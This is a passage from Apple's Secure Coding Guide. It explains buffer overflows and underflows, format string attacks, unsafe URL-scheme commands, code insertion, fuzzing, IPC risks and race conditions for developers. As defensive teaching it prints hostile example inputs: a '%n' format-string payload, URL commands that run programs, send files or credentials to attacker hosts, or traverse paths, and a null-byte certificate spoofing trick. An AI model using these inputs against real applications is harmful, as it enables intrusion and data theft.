VU#162289]. Thus, the only correct way to test for integer overflow is to divide the maximum allowable result
by the multiplier and comparing the result to the multiplicand or vice-versa. If the result is smaller than the
multiplicand, the product of those two values would cause an integer overflow.
For example:
size_t bytes = n * m;
if (n > 0 && m > 0 && SIZE_MAX/n >= m) {
... /* allocate "bytes" space */
}
Detecting Buffer Overflows
To test for buffer overflows, you should attempt to enter more data than is asked for wherever your program
accepts input. Also, if your program accepts data in a standard format, such as graphics or audio data, you
should attempt to pass it malformed data. This process is known as fuzzing.
If there are buffer overflows in your program, it will eventually crash. (Unfortunately, it might not crash until
some time later, when it attempts to use the data that was overwritten.) The crash log might provide some
clues that the cause of the crash was a buffer overflow. If, for example, you enter a string containing the
Avoiding Buffer Overflows and Underflows
Detecting Buffer Overflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
28uppercase letter “A” several times in a row, you might find a block of data in the crash log that repeats the
number 41, the ASCII code for “A” (see Figure 2-2). If the program is trying to jump to a location that is actually
an ASCII string, that’s a sure sign that a buffer overflow was responsible for the crash.
Figure 2-5 Buffer overflow crash log
Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140
Thread 0 Crashed:
Thread 0 crashed with PPC Thread State 64:
srr0: 0x0000000041414140 srr1: 0x000000004200f030 vrsave: 0x0000000000000000
cr: 0x48004242 xer: 0x0000000020000007 1r: 0x0000000041414141 ctr: 0x000000009077401c
r0: 0x0000000041414141 r1: 0x00000000bfffe660 r2: 0x0000000000000000 r3: 000000000000000001
r4: 0x0000000000000041 r5: 0x00000000bfffdd50 r6: 0x0000000000000052 r7: 0x00000000bfffe638
r8: 0x0000000090774028 r9: 0x00000000bfffddd8 r10: 0x00000000bfffe380 r11: 0x0000000024004248
r12: 0x000000009077401c r13: 0x00000000a365c7c0 r14: 0x0000000000000100 r15: 0x0000000000000000
r16: 0x00000000a364c75c r17: 0x00000000a365c75c r18: 0x00000000a365c75c r19: 0x00000000a366c75c
r20: 0x0000000000000000 r21: 0x0000000000000000 r22: 0x00000000a365c75c r23: 0x000000000034f5b0
r24: 0x00000000a3662aa4 r25: 0x000000000054c840 r26: 0x00000000a3662aa4 r27: 0x0000000000002f44
r28: 0x000000000034c840 r29: 0x0000000041414141 r30: 0x0000000041414141 r31: 0x0000000041414141
If there are any buffer overflows in your program, you should always assume that they are exploitable and fix
them. It is much harder to prove that a buffer overflow is not exploitable than to just fix the bug. Also note
that, although you can test for buffer overflows, you cannot test for the absence of buffer overflows; it is
necessary, therefore, to carefully check every input and every buffer size calculation in your code.
For more information on fuzzing, see “Fuzzing” (page 39) in “Validating Input And Interprocess
Communication” (page 33).
Avoiding Buffer Underflows
Fundamentally, buffer underflows occur when two parts of your code disagree about the size of a buffer or
the data in that buffer. For example, a fixed-length C string variable might have room for 256 bytes, but might
contain a string that is only 12 bytes long.
Buffer underflow conditions are not always dangerous; they become dangerous when correct operation
depends upon both parts of your code treating the data in the same way. This often occurs when you read
the buffer to copy it to another block of memory, to send it across a network connection, and so on.
There are two broad classes of buffer underflow vulnerabilities: short writes, and short reads.
Avoiding Buffer Overflows and Underflows
Avoiding Buffer Underflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
29A short write vulnerability occurs when a short write to a buffer fails to fill the buffer completely. When this
happens, some of the data that was previously in the buffer is still present after the write. If the application
later performs an operation on the entire buffer (writing it to disk or sending it over the network, for example),
that existing data comes along for the ride. The data could be random garbage data, but if the data happens
to be interesting, you have an information leak.
Further, when such an underflow occurs, if the values in those locations affect program flow, the underflow
can potentially cause incorrect behavior up to and including allowing you to skip past an authentication or
authorization step by leaving the existing authorization data on the stack from a previous call by another user,
application, or other entity.
Short write example (systemcall): For example, consider a UNIX system call that requires a command
data structure, and includes an authorization token in that data structure. Assume that there are
multiple versions of the data structure, with different lengths, so the system call takes both the
structure and the length. Assume that the authorization token is fairly far down in the structure.
Suppose a malicious application passesin a command structure, and passes a size that encompasses
the data up to, but not including, the authorization token. The kernel’s system call handler calls
copyin, which copies a certain number of bytes from the application into the data structure in the
kernel’s address space. If the kernel does not zero-fill that data structure, and if the kernel does not
check to see if the size is valid, there is a narrow possibility that the stack might still contain the
previous caller’s authorization token at the same address in kernel memory. Thus, the attacker is
able to perform an operation that should have been disallowed.
A short read vulnerability occurs when a read from a buffer fails to read the complete contents of a buffer. If
the program then makes decisions based on that short read, any number of erroneous behaviors can result.
This usually occurs when a C string function is used to read from a buffer that does not actually contain a valid
C string.
A C string is defined as a string containing a series of bytes that ends with a null terminator. By definition, it
cannot contain any null bytes prior to the end of the string. As a result, C-string-based functions, such as
strlen, strlcpy, and strdup, copy a string until the first null terminator, and have no knowledge of the
size of the original source buffer.
By contrast, strings in other formats (a CFStringRef object, a Pascal string, or a CFDataRef blob) have an explicit
length and can contain null bytes at arbitrary locations in the data. If you convert such a string into a C string
and then evaluate that C string, you get incorrect behavior because the resulting C string effectively ends at
the first null byte.
Avoiding Buffer Overflows and Underflows
Avoiding Buffer Underflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
30Short read example (SSL verification): An example of a short read vulnerability occurred in many
SSL stacks a few years ago. By applying for an SSL cert for a carefully crafted subdomain of a domain
that you own, you could effectively create a certificate that was valid for arbitrary domains.
Consider a subdomain in the form targetdomain.tld[null_byte].yourdomain.tld.
Because the certificate signing request contains a Pascalstring, assuming that the certificate authority
interprets it correctly, the certificate authority would contact the owner of yourdomain.tld and
would ask for permission to deliver the certificate. Because you own the domain, you would agree
to it. You would then have a certificate that is valid for the rather odd-looking subdomain in question.
When checking the certificate for validity, however, many SSL stacksincorrectly converted that Pascal
string into a C string without any validity checks. When this happened, the resulting C string contained
only the targetdomain.tld portion. The SSL stack then compared that truncated version with
the domain the user requested, and interpreted the certificate as being valid for the targeted domain.
In some cases, it was even possible to construct wildcard certificatesthat were valid for every possible
domain in such browsers (*.com[null].yourdomain.tld would match every .com address, for
example).
If you obey the following rules, you should be able to avoid most underflow attacks:
● Zero-fill all buffers before use. A buffer that contains only zeros cannot contain stale sensitive information.
● Always check return values and fail appropriately.
●
If a call to an allocation or initialization function fails (AuthorizationCopyRights, for example), do not
evaluate the resulting data, as it could be stale.
● Use the value returned from read system calls and other similar calls to determine how much data was
actually read. Then either:
● Use that result to determine how much data is present instead of using a predefined constant or
●
fail if the function did not return the expected amount of data.
● Display an error and fail if a write call, printf call, or other output call returns without writing all of the
data, particularly if you might later read that data back.
● When working with data structures that contain length information, always verify that the data is the size
you expected.
● Avoid converting non-C strings (CFStringRef objects, NSString objects, Pascal strings, and so on) into C
strings if possible. Instead, work with the strings in their original format.
If this is not possible, always perform length checks on the resulting C string or check for null bytes in the
source data.
Avoiding Buffer Overflows and Underflows
Avoiding Buffer Underflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
31● Avoid mixing buffer operations and string operations. If this is not possible, always perform length checks
on the resulting C string or check for null bytes in the source data.
● Save files in a fashion that prevents malicious tampering or truncation. (See “Race Conditions and Secure
File Operations” (page 43) for more information.)
● Avoid integer overflows and underflows. (See “Calculating Buffer Sizes” (page 25) for details.)
Avoiding Buffer Overflows and Underflows
Avoiding Buffer Underflows
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
32A major, and growing, source of security vulnerabilities is the failure of programs to validate all input from
outside the program—that is, data provided by users, from files, over the network, or by other processes. This
chapter describes some of the ways in which unvalidated input can be exploited, and some coding techniques
to practice and to avoid.
Risks of Unvalidated Input
Any time your program accepts input from an uncontrolled source, there is a potential for a user to pass in
data that does not conform to your expectations. If you don’t validate the input, it might cause problems
ranging from program crashes to allowing an attacker to execute his own code. There are a number of ways
an attacker can take advantage of unvalidated input, including:
● Buffer overflows
● Format string vulnerabilities
● URL commands
● Code insertion
● Social engineering
Many Apple security updates have been to fix input vulnerabilities, including a couple of vulnerabilities that
hackers used to “jailbreak” iPhones. Input vulnerabilities are common and are often easily exploitable, but are
also usually easily remedied.
Causing a Buffer Overflow
If your application takesinput from a user or other untrusted source, itshould never copy data into a fixed-length
buffer without checking the length and truncating it if necessary. Otherwise, an attacker can use the input
field to cause a buffer overflow. See “Avoiding Buffer Overflows And Underflows” (page 17) to learn more.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
33
Validating Input and Interprocess CommunicationFormat String Attacks
If you are taking input from a user or other untrusted source and displaying it, you need to be careful that your
display routines do not processformatstringsreceived from the untrusted source. For example, in the following
code the syslog standard C library function is used to write a received HTTP request to the system log. Because
the syslog function processes format strings, it will process any format strings included in the input packet:
/* receiving http packet */
int size = recv(fd, pktBuf, sizeof(pktBuf), 0);
if (size) {
syslog(LOG_INFO, "Received new HTTP request!");
syslog(LOG_INFO, pktBuf);
}
Many formatstrings can cause problemsfor applications. For example,suppose an attacker passesthe following
string in the input packet:
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n"
This string retrieves eight items from the stack. Assuming that the format string itself is stored on the stack,
depending on the structure of the stack, this might effectively move the stack pointer back to the beginning
of the format string. Then the %n token would cause the print function to take the number of bytes written so
far and write that value to the memory address stored in the next parameter, which happens to be the format
string. Thus, assuming a 32-bit architecture, the AAAA in the format string itself would be treated as the pointer
value 0x41414141, and the value at that address would be overwritten with the number 76.
Doing this will usually cause a crash the next time the system has to access that memory location, but by using
a string carefully crafted for a specific device and operating system, the attacker can write arbitrary data to any
location. See the manual page for printf(3) for a full description of format string syntax.
To prevent format string attacks, make sure that no input data is ever passed as part of a format string. To fix
this, just include your own format string in each such function call. For example, the call
printf(buffer)
may be subject to attack, but the call
printf("%s", buffer)
is not. In the second case, all characters in the buffer parameter—including percent signs (%)—are printed out
rather than being interpreted as formatting tokens.
Validating Input and Interprocess Communication
Risks of Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
34This situation can be made more complicated when a string is accidentally formatted more than once. In the
following example, the informativeTextWithFormat argument of the NSAlert method
alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:
calls the NSString method stringWithFormat:GetLocalizedString rather than simply formatting the
message string itself. As a result, the string is formatted twice, and the data from the imported certificate is
used as part of the format string for the NSAlert method:
alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded"
defaultButton:"OK"
alternateButton:nil
otherButton:nil
informativeTextWithFormat:[NSString stringWithFormat:
@"The imported certificate \"%@\" has been selected in the certificate
pop-up.",
[selectedCert identifier]]];
[alert setAlertStyle:NSInformationalAlertStyle];
[alert runModal];
Instead, the string should be formatted only once, as follows:
[alert informativeTextWithFormat:@"The imported certificate \"%@\" has been selected
in the certificate pop-up.",
[selectedCert identifier]];
The following commonly-used functions and methods are subject to format-string attacks:
● Standard C
● printf and other functions listed on the printf(3) manual page
● scanf and other functions listed on the scanf(3) manual page
● syslog and vsyslog
● Carbon
● CFStringCreateWithFormat
● CFStringCreateWithFormatAndArguments
● CFStringAppendFormat
● AEBuildDesc
Validating Input and Interprocess Communication
Risks of Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
35● AEBuildParameters
● AEBuildAppleEvent
● Cocoa
● [NSString stringWithFormat:] and other NSString methods that take formatted strings as
arguments
● [NSString initWithFormat:] and other NSStringmethodsthattake formatstrings as arguments
● [NSMutableString appendFormat:]
● [NSAlert
alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:]
● [NSPredicate predicateWithFormat:] and [NSPredicate
predicateWithFormat:arguments:]
● [NSException raise:format:] and [NSException raise:format:arguments:]
● NSRunAlertPanel and other Application Kit functions that create or return panels or sheets
URLs and File Handling
If your application has registered a URL scheme, you have to be careful about how you process commands
sent to your application through the URL string. Whether you make the commands public or not, hackers will
try sending commandsto your application. If, for example, you provide a link or linksto launch your application
from your web site, hackers will look to see what commands you’re sending and will try every variation on
those commands they can think of. You must be prepared to handle, or to filter out, any commands that can
be sent to your application, not only those commands that you would like to receive.
For example, if you accept a command that causes your application to send credentials back to your web
server, don’t make the function handler general enough so that an attacker can substitute the URL of their
own web server. Here are some examples of the sorts of commands that you should not accept:
● myapp://cmd/run?program=/path/to/program/to/run
● myapp://cmd/set_preference?use_ssl=false
● myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file
● myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
● myapp://cmd/login_to?server_to_send_credentials=some.malicious.webserver.com
In general, don’t accept commands that include arbitrary URLs or complete pathnames.
Validating Input and Interprocess Communication
Risks of Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
36If you accept text or other data in a URL command that you subsequently include in a function or method call,
you could be subject to a format string attack (see “Format String Attacks” (page 34)) or a buffer overflow
attack (see “Causing a Buffer Overflow” (page 33)). If you accept pathnames, be careful to guard againststrings
that might redirect a call to another directory; for example:
myapp://use_template?template=/../../../../../../../../some/other/file
Code Insertion
Unvalidated URL commands and textstringssometimes allow an attacker to insert code into a program, which
the program then executes. For example, if your application processes HTML and Javascript when displaying
text, and displays strings received through a URL command, an attacker could send a command something
like this:
myapp://cmd/adduser='>">
Similarly, HTML and other scripting languages can be inserted through URLs, text fields, and other data inputs,
such as command lines and even graphics or audio files. You should either not execute scripts in data from an
untrusted source, or you should validate all such data to make sure it conforms to your expectations for input.
Never assume that the data you receive is well formed and valid; hackers and malicious users will try every
sort of malformed data they can think of to see what effect it has on your program.
Social Engineering
Social engineering—essentially tricking the user—can be used with unvalidated input vulnerabilities to turn
a minor annoyance into a major problem. For example, if your program accepts a URL command to delete a
file, but first displays a dialog requesting permission from the user, you might be able to send a long-enough
string to scroll the name of the file to be deleted past the end of the dialog. You could trick the user into
thinking he was deleting something innocuous, such as unneeded cached data. For example:
myapp://cmd/delete?file=cached data that is slowing down your system.,realfile
The user then might see a dialog with the text “Are you sure you want to delete cached data that is slowing
down your system.” The name of the real file, in this scenario, is out of sight below the bottom of the dialog
window. When the user clicks the “OK” button, however, the user’s real data is deleted.
Other examples of social engineering attacks include tricking a user into clicking on a link in a malicious web
site or following a malicious URL.
For more information about social engineering, read “Designing Secure User Interfaces” (page 73).
Validating Input and Interprocess Communication
Risks of Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
37Modifications to Archived Data
Archiving data, also known as object graph serialization, refers to converting a collection of interconnected
objects into an architecture-independent stream of bytes that preserves the identity of and the relationships
between the objects and values. Archives are used for writing data to a file, transmitting data between processes
or across a network, or performing other types of data storage or exchange.
For example, in Cocoa, you can use a coder object to create and read from an archive, where a coder object
is an instance of a concrete subclass of the abstract class NSCoder.
Object archives are problematic from a security perspective for several reasons.
First, an object archive expands into an object graph that can contain arbitrary instances of arbitrary classes.
If an attacker substitutes an instance of a different class than you were expecting, you could get unexpected
behavior.
Second, because an application must know the type of data stored in an archive in order to unarchive it,
developers typically assume that the values being decoded are the same size and data type as the values they
originally coded. However, when the data is stored in an insecure manner before being unarchived, this is not
a safe assumption. If the archived data is not stored securely, it is possible for an attacker to modify the data
before the application unarchives it.
If your initWithCoder: method does not carefully validate all the data it’s decoding to make sure it is well
formed and does not exceed the memory space reserved for it, then by carefully crafting a corrupted archive,
an attacker can cause a buffer overflow or trigger another vulnerability and possibly seize control of the system.
Third, some objects return a different object during unarchiving (see the NSKeyedUnarchiverDelegate
method unarchiver:didDecodeObject:) or when they receive the message awakeAfterUsingCoder:.
NSImage is one example of such a class—it may register itself for a name when unarchived, potentially taking
the place of an image the application uses. An attacker might be able to take advantage of this to insert a
maliciously corrupt image file into an application.
It’s worth keeping in mind that, even if you write completely safe code, there mightstill be security vulnerabilities
in libraries called by your code. Specifically, the initWithCoder: methods of the superclasses of your classes
are also involved in unarchiving.
To be completely safe, you should avoid using archived data as a serialization format for data that could
potentially be stored or transmitted in an insecure fashion or that could potentially come from an untrusted
source.
Note that nib files are archives, and these cautions apply equally to them. A nib file loaded from a signed
application bundle should be trustable, but a nib file stored in an insecure location is not.
Validating Input and Interprocess Communication
Risks of Unvalidated Input
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
38See “Risks of Unvalidated Input” (page 33) for more information on the risks of reading unvalidated input,
“Securing File Operations” (page 47) for techniques you can use to keep your archive files secure, and the
other sections in this chapter for details on validating input.
Fuzzing
Fuzzing, or fuzz testing, is the technique of randomly or selectively altering otherwise valid data and passing
it to a program to see what happens. If the program crashes or otherwise misbehaves, that’s an indication of
a potential vulnerability that might be exploitable. Fuzzing is a favorite tool of hackers who are looking for
buffer overflows and the other types of vulnerabilities discussed in this chapter. Because it will be employed
by hackers against your program, you should use it first, so you can close any vulnerabilities before they do.
Although you can never prove that your program is completely free of vulnerabilities, you can at least get rid
of any that are easy to find this way. In this case, the developer’s job is much easier than that of the hacker.
Whereas the hacker has to not only find input fields that might be vulnerable, but also must determine the
exact nature of the vulnerability and then craft an attack that exploits it, you need only find the vulnerability,
then look at the source code to determine how to close it. You don’t need to prove that the problem is
exploitable—just assume that someone will find a way to exploit it, and fix it before they get an opportunity
to try.
Fuzzing is best done with scripts orshort programsthat randomly vary the input passed to a program. Depending
on the type of input you’re testing—text field, URL, data file, and so forth—you can try HTML, javascript, extra
long strings, normally illegal characters, and so forth. If the program crashes or does anything unexpected,
you need to examine the source code that handles that input to see what the problem is, and fix it.
For example, if your program asksfor a filename, you should attempt to enter a string longer than the maximum
legal filename. Or, if there is a field that specifies the size of a block of data, attempt to use a data block larger
than the one you indicated in the size field.
The most interesting valuesto try when fuzzing are usually boundary values. For example, if a variable contains
a signed integer, try passing the maximum and minimum values allowed for a signed integer of thatsize, along
with 0, 1, and -1. If a data field should contain a string with no fewer than 1 byte and no more than 42 bytes,
try zero bytes, 1 byte, 42 bytes, and 43 bytes. And so on.
In addition to boundary values, you should also try values that are way, way outside the expected values. For
example, if your application is expecting an image that is up to 2,000 pixels by 3,000 pixels, you might modify
the size fields to claim that the image is 65,535 pixels by 65,535 pixels. Using large values can uncover integer
overflow bugs (and in some cases, NULL pointer handling bugs when a memory allocation fails). See “Avoiding
Integer Overflows And Underflows” (page 27) in “Avoiding Buffer Overflows And Underflows” (page 17) for
more information about integer overflows.
Validating Input and Interprocess Communication
Fuzzing
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
39Inserting additional bytes of data into the middle or end of a file can also be a useful fuzzing technique in some
cases. For example, if a file’s header indicates that it contains 1024 bytes after the header, the fuzzer could add
a 1025th byte. The fuzzer could add an additional row or column of data in an image file. And so on.
Interprocess Communication and Networking
When communicating with another process, the most important thing to remember isthat you cannot generally
verify that the other process has not been compromised. Thus, you must treat it as untrusted and potentially
hostile. All interprocess communication is potentially vulnerable to attacks if you do not properly validate
input, avoid race conditions, and perform any other tests that are appropriate when working with data from
a potentially hostile source.
Above and beyond these risks, however,some forms of interprocess communication have specific risksinherent
to the communication mechanism. This section describes some of those risks.
Mach messaging
When working with Mach messaging, it is important to never give the Mach task port of your process to
any other. If you do, you are effectively allowing that process to arbitrarily modify the address space your
process, which makes it trivial to compromise your process.
Instead, you should create a Mach port specifically for communicating with a given client.
Note: Mach messaging in OS X is not a supported API. No backwards compatibility guarantees are made for applications
that use it anyway.
Remote procedure calls (RPC) and Distributed Objects:
If your application uses remote procedure calls or Distributed Objects, you are implicitly saying that you
fully trust whatever processis at the other end of the connection. That process can call arbitrary functions
within your code, and may even be able to arbitrarily overwrite portions of your code with malicious
code.
For thisreason, you should avoid using remote procedure calls or DistributedObjects when communicating
with potentially untrusted processes, and in particular, you should never use these communication
technologies across a network boundary.
Shared Memory:
If you intend to share memory across applications, be careful to allocate any memory on the heap in
page-aligned, page-sized blocks. If you share a block of memory that is not a whole page (or worse, if
you share some portion of your application’s stack), you may be providing the process at the other end
Validating Input and Interprocess Communication
Interprocess Communication and Networking
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
40with the ability to overwrite portions of your code,stack, or other data in waysthat can produce incorrect
behavior, and may even allow injection of arbitrary code.
In addition to these risks, some forms of shared memory can also be subject to race condition attacks.
Specifically, memory mapped files can be replaced with other files between when you create the file and
when you open it. See “Securing File Operations” (page 47) for more details.
Finally, named shared memory regions and memory mapped files can be accessed by any other process
running as the user. For this reason, it is not safe to use non-anonymous shared memory for sending
highly secret information between processes. Instead, allocate your shared memory region prior to
creating the child processthat needsto share that region, then pass IPC_PRIVATE asthe key for shmget
to ensure that the shared memory identifier is not easy to guess.
Note: Shared memory regions are detached if you call exec or other similar functions. If you need to pass data in a
secure way across an exec boundary, you must pass the shared memory ID to the child process. Ideally, you should
do this using a secure mechanism, such as a pipe created using a call to pipe.
After the last child process that needs to use a particular shared memory region is running, the process
that created the region should call shmctl to remove the shared memory region. Doing so ensures that
no further processes can attach to that region even if they manage to guess the region ID.
shmctl(id, IPC_RMID, NULL);
Signals:
A signal, in this context, is a particular type of content-free message sent from one process to another
in a UNIX-based operating system such as OS X. Any program can register a signal handler function to
perform specific operations upon receiving a signal.
In general, it is not safe to do a significant amount of work in a signal handler. There are only a handful
of library functions and system callsthat are safe to use in a signal handler (referred to as async-signal-safe
calls), and this makes it somewhat difficult to safely perform work inside a call.
More importantly, however, as a programmer, you are not in control of when your application receives
a signal. Thus, if an attacker can cause a signal to be delivered to your process (by overflowing a socket
buffer, for example), the attacker can cause your signal handler code to execute at any time, between
any two lines of code in your application. This can be problematic if there are certain places where
executing that code would be dangerous.
For example, in 2004, a signal handler race condition was found in open-source code present in many
UNIX-based operating systems. This bug made it possible for a remote attacker to execute arbitrary code
Validating Input and Interprocess Communication
Interprocess Communication and Networking
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
41or to stop the FTP daemon from working by causing it to read data from a socket and execute commands
while it was still running as the root user. [CVE-2004-0794]
For this reason, signal handlers should do the minimum amount of work possible, and should perform
the bulk of the work at a known location within the application’s main program loop.
For example, in an application based on Foundation or Core Foundation, you can create a pair of connected
sockets by calling socketpair, call setsockopt to set the socket to non-blocking, turn one end into
a CFStream object by calling CFStreamCreatePairWithSocket, and then schedule that stream on
your run loop. Then, you can install a minimal signal handler that uses the write system call (which is
async-signal-safe according to POSIX.1) to write data into the other socket. When the signal handler
returns, your run loop will be woken up by data on the other socket, and you can then handle the signal
at your convenience.
Important: If you are writing to a socket in a signal handler and reading from it in a run loop on your main
program thread, you must set the socket to non-blocking. If you do not, it is possible to cause your application
to hang by sending it too many signals.
The queue for a socket is of finite size. When it fills up, if the socket is set to non-blocking, the write call fails, and
the global variable errno is set to EAGAIN. If the socket is blocking, however, the write call blocks until the queue
empties enough to write the data.
If a write call in a signal handler blocks, this prevents the signal handler from returning execution to the run loop.
If that run loop is responsible for reading data from the socket, the queue will never empty, the write call will
never unblock, and your application will basically hang (at least until the write call isinterrupted by anothersignal).
Validating Input and Interprocess Communication
Interprocess Communication and Networking
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
42When working with shared data, whether in the form of files, databases, network connections,shared memory,
or other forms of interprocess communication, there are a number of easily made mistakesthat can compromise
security. This chapter describes many such pitfalls and how to avoid them.
Avoiding Race Conditions
A race condition exists when changes to the order of two or more events can cause a change in behavior. If
the correct order of execution is required for the proper functioning of the program, this is a bug. If an attacker
can take advantage of the situation to insert malicious code, change a filename, or otherwise interfere with
the normal operation of the program, the race condition is a security vulnerability. Attackers can sometimes
take advantage of small time gaps in the processing of code to interfere with the sequence of operations,
which they then exploit.
OS X, like all modern operating systems, is a multitasking OS; that is, it allows multiple processes to run or
appear to run simultaneously by rapidly switching among them on each processor. The advantagesto the user
are many and mostly obvious; the disadvantage, however, is that there is no guarantee that two consecutive
operations in a given process are performed without any other process performing operations between them.
In fact, when two processes are using the same resource (such as the same file), there is no guarantee that
they will access that resource in any particular order unless both processes explicitly take steps to ensure it.
For example, if you open a file and then read from it, even though your application did nothing else between
these two operations, some other process might alter the file after the file was opened and before it was read.
If two different processes (in the same or different applications) were writing to the same file, there would be
no way to know which one would write first and which would overwrite the data written by the other. Such
situations cause security vulnerabilities.
There are two basic types of race condition that can be exploited: time of check–time of use (TOCTOU), and
signal handling.
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
43
Race Conditions and Secure File OperationsTime of Check Versus Time of Use
It is fairly common for an application to need to check some condition before undertaking an action. For
example, it might check to see if a file exists before writing to it, or whether the user has access rights to read
a file before opening it for reading. Because there is a time gap between the check and the use (even though
it might be a fraction of a second), an attacker can sometimes use that gap to mount an attack. Thus, this is
referred to as a time-of-check–time-of-use problem.
Temporary Files
A classic example isthe case where an application writestemporary filesto publicly accessible directories.
You can set the file permissions of the temporary file to prevent another user from altering the file.
However, if the file already exists before you write to it, you could be overwriting data needed by another
program, or you could be using a file prepared by an attacker, in which case it might be a hard link or
symbolic link, redirecting your output to a file needed by the system or to a file controlled by the attacker.
To prevent this, programs often check to make sure a temporary file with a specific name does not already
exist in the target directory. If such a file exists, the application deletes it or chooses a new name for the
temporary file to avoid conflict. If the file does not exist, the application opensthe file for writing, because
the system routine that opens a file for writing automatically creates a new file if none exists.
An attacker, by continuously running a program that creates a new temporary file with the appropriate
name, can (with a little persistence and some luck) create the file in the gap between when the application
checked to make sure the temporary file didn’t exist and when it opens it for writing. The application
then opensthe attacker’sfile and writesto it (remember, the system routine opens an existing file if there
is one, and creates a new file only if there is no existing file).
The attacker’s file might have different access permissions than the application’s temporary file, so the
attacker can then read the contents. Alternatively, the attacker might have the file already open. The
attacker could replace the file with a hard link or symbolic link to some other file (either one owned by
the attacker or an existing system file). For example, the attacker could replace the file with a symbolic
link to the system password file, so that after the attack, the system passwords have been corrupted to
the point that no one, including the system administrator, can log in.
For a real-world example, in a vulnerability in a directory server, a server script wrote private and public
keys into temporary files, then read those keys and put them into a database. Because the temporary
files were in a publicly writable directory, an attacker could have created a race condition by substituting
the attacker’s own files (or hard links or symbolic links to the attacker’s files) before the keys were reread,
thus causing the script to insert the attacker’s private and public keys instead. After that, anything
Race Conditions and Secure File Operations
Avoiding Race Conditions
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
44encrypted or authenticated using those keys would be under the attacker’s control. Alternatively, the
attacker could have read the private keys, which can be used to decrypt encrypted data. [CVE-2005-2519]
Similarly, if an application temporarily relaxes permissions on files or folders in order to perform some
operation, an attacker might be able to create a race condition by carefully timing his or her attack to
occur in the narrow window in which those permissions are relaxed.
To learn more about creating temporary files securely, read “Create Temporary Files Correctly” (page 50).
Interprocess Communication
Time-of-check–time-of-use problems do not have to involve files, of course. They can apply to any data
storage or communications mechanism that does not perform operations atomically.
Suppose, for example, that you wrote a program designed to automatically count the number of people
entering a sports stadium for a game. Each turnstile talks to a web service running on a server whenever
someone walks through. Each web service instance inherently runs as a separate process. Each time a
turnstile sends a signal, an instance of the web service starts up, retrievesthe gate count from a database,
increments it by one, and writes it back to the database. Thus, multiple processes are keeping a single
running total.
Now suppose two people enter different gates at exactly the same time. The sequence of events might
then be as follows:
1. Server process A receives a request from gate A.
2. Server process B receives a request from gate B.
3. Server process A reads the number 1000 from the database.
4. Server process B reads the number 1000 from the database.
5. Server process A increments the gate count by 1 so that Gate == 1001.
6. Server process B increments the gate count by 1 so that Gate == 1001.
7. Server process A writes 1001 as the new gate count.
8. Server process B writes 1001 as the new gate count.
Because server process B read the gate count before process A had time to increment it and write it back,
both processesread the same value. After process A incrementsthe gate count and writesit back, process
B overwrites the value of the gate count with the same value written by process A. Because of this race
condition, one of the two people entering the stadium was not counted. Since there might be long lines
at each turnstile, this condition might occur many times before a big game, and a dishonest ticket clerk
who knew about this undercount could pocket some of the receipts with no fear of being caught.
Other race conditions that can be exploited, like the example above, involve the use of shared data or
other interprocess communication methods. If an attacker can interfere with important data after it is
written and before it isre-read, he orshe can disrupt the operation of the program, alter data, or do other
Race Conditions and Secure File Operations
Avoiding Race Conditions
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
45mischief. The use of non-thread-safe calls in multithreaded programs can result in data corruption. If an
attacker can manipulate the program to cause two such threads to interfere with each other, it may be
possible to mount a denial-of-service attack.
In some cases, by using such a race condition to overwrite a buffer in the heap with more data than the
buffer can hold, an attacker can cause a buffer overflow. As discussed in “Avoiding Buffer Overflows And
Underflows” (page 17), buffer overflows can be exploited to cause execution of malicious code.
The solution to race conditions involving shared data is to use a locking mechanism to prevent one
process from changing a variable until another is finished with it. There are problems and hazards
associated with such mechanisms, however, and they must be implemented carefully. And, of course,
locking mechanisms only apply to processes that participate in the locking scheme. They cannot prevent
an untrusted application from modifying the data maliciously. For a full discussion, see Wheeler, Secure
Programming for Linux and Unix HOWTO, at http://www.dwheeler.com/secure-programs/.
Time-of-check–time-of-use vulnerabilities can be prevented in different ways, depending largely on the domain
of the problem. When working with shared data, you should use locking to protect that data from other
instances of your code. When working with data in publicly writable directories, you should also take the
precautions described in “Files In Publicly Writable Directories Are Dangerous” (page 51).
Signal Handling
Because signal handlers execute code at arbitrary times, they can be used to cause incorrect behavior. In
daemons running as root, running the wrong code at the wrong time can even cause privilege escalation.
“Securing Signal Handlers” (page 46) describes this problem in more detail.
Securing Signal Handlers
Signal handlers are another common source of race conditions. Signalsfrom the operating system to a process
or between two processes are used for such purposes as terminating a process or causing it to reinitialize.
If you include signal handlers in your program, they should not make any system calls and should terminate
as quickly as possible. Although there are certain system calls that are safe from within signal handlers, writing
a safe signal handler that does so is tricky. The best thing to do is to set a flag that your program checks
periodically, and do no other work within the signal handler. Thisis because the signal handler can be interrupted
by a new signal before it finishes processing the first signal, leaving the system in an unpredictable state or,
worse, providing a vulnerability for an attacker to exploit.
Race Conditions and Secure File Operations
Securing Signal Handlers
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
46For example, in 1997, a vulnerability wasreported in a number of implementations of the FTP protocol in which
a user could cause a race condition by closing an FTP connection. Closing the connection resulted in the
near-simultaneous transmission of two signals to the FTP server: one to abort the current operation, and one
to log out the user. The race condition occurred when the logout signal arrived just before the abort signal.
